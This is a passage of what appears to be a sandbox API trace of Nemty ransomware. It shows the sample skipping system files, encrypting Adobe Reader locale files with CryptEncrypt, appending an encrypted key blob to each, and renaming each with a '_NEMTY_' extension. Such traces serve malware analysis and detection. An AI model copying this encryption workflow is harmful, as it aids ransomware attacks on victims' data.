out: lpWideCharStr=0x0) returned 16 [0183.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.586] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\ReadOutLoud.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\readoutloud.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\ReadOutLoud.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\readoutloud.sky._nemty_kgobjgd_")) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.586] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.SKY", cAlternateFileName="")) returned 1 [0183.586] lstrcmpiW (lpString1="reflow.SKY", lpString2=".") returned 1 [0183.586] lstrcmpiW (lpString1="reflow.SKY", lpString2="..") returned 1 [0183.586] lstrcmpiW (lpString1="reflow.SKY", lpString2="...") returned 1 [0183.586] lstrcmpiW (lpString1="reflow.SKY", lpString2="windows") returned -1 [0183.586] lstrcmpiW (lpString1="reflow.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="rsa") returned -1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="NTDETECT.COM") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="ntldr") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="MSDOS.SYS") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="IO.SYS") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="boot.ini") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="boot.ini") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="ntuser.dat") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="desktop.ini") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="CONFIG.SYS") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="RECYCLER") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="bootmgr") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="programdata") returned 1 [0183.587] lstrcmpiW (lpString1="reflow.SKY", lpString2="appdata") returned 1 [0183.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.588] Sleep (dwMilliseconds=0x5) [0183.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2113db10, dwHighDateTime=0x1d561e8)) [0183.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2113db10, dwHighDateTime=0x1d561e8)) [0183.594] GetLastError () returned 0x0 [0183.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.594] GetLastError () returned 0x0 [0183.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.595] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.595] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.595] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.595] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="s2FA0PsCgm7MIs1u4pX4yiZwE2kks/rW1+0YFkELJV/S94XOz3HPKOL5rfkK4p0y\r\nCcjQDO3diS0ECfRxcreX1rbQ2Mz+hsGNMufCs3qiOUhV3fG1z4AhJQiDyFu/4p+P\r\n8uj9rCc3pxAgXFnpJ4MwvZwC73nbJtcKMwSjqjUjQAirDW7ImmNWr8Pxavet3ztW\r\nW38haaMzMcdbXnq58gM0qmDpcfsfuKCRXgCPK7NXw6bZTuGMFdsDKWz6JnRPwVH4\r\npE+4RJwGWDmMLD5vPjXVJrrbYhTIlITHpTuGwGYxd8noztuib3et8NzgbURyqvhB\r\n0QP+6YkJG8x1IGHRefD9JQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\reflow.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\reflow.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.595] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0183.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0183.595] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.595] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0183.597] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.597] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0183.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.597] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0183.598] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.598] CloseHandle (hObject=0x2e8) returned 1 [0183.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0183.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.598] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\reflow.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\reflow.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\reflow.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\reflow.sky._nemty_kgobjgd_")) returned 1 [0183.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0183.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.599] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.SKY", cAlternateFileName="SAVEAS~1.SKY")) returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2=".") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="..") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="...") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="windows") returned -1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="rsa") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="NTDETECT.COM") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="ntldr") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="MSDOS.SYS") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="IO.SYS") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="boot.ini") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="boot.ini") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="ntuser.dat") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="desktop.ini") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="CONFIG.SYS") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="RECYCLER") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="bootmgr") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="programdata") returned 1 [0183.599] lstrcmpiW (lpString1="SaveAsRTF.SKY", lpString2="appdata") returned 1 [0183.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SKY", lpUsedDefaultChar=0x0) returned 13 [0183.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SKY", lpUsedDefaultChar=0x0) returned 13 [0183.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SKY", lpUsedDefaultChar=0x0) returned 13 [0183.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SKY", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SKY", lpUsedDefaultChar=0x0) returned 13 [0183.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.600] Sleep (dwMilliseconds=0x5) [0183.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21163c70, dwHighDateTime=0x1d561e8)) [0183.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21163c70, dwHighDateTime=0x1d561e8)) [0183.610] GetLastError () returned 0x0 [0183.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.610] GetLastError () returned 0x0 [0183.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.610] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.610] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Ww0o96gExDe1EgIe9bDvPGtCv5PefdVvKZEkETwTDxLr4yVmCiVkvmbNP+P1zFY8\r\nYm7xwQhJKeSwKHh4jbybsOYWYDwMwFknnddIoJ1EY4zugcpyO9tBH1HI9e5Gjkm6\r\nQlj02t65SQH5KNQd+xbWvvGRlhvR1qAFkmtY7g184AB9JU5A6uzSCGtuEWTyAdZm\r\nilzohxSqktm/duUuo2NKK5fU1/PouTlJCPVLxaASnRg3umQJWTgt7YnEjWqRjNcL\r\n2/U9NjKo6tiu9dKXkknDqrnJCLeorItdubr34bS0gkEwZwmRVvNW9K3/JsTvpODi\r\np5dYavkHNIK0GI9S1Zpjqw==\r\n", pcchString=0x653e5dc) returned 1 [0183.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\SaveAsRTF.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\saveasrtf.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.612] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0183.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0183.612] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.612] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0183.614] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 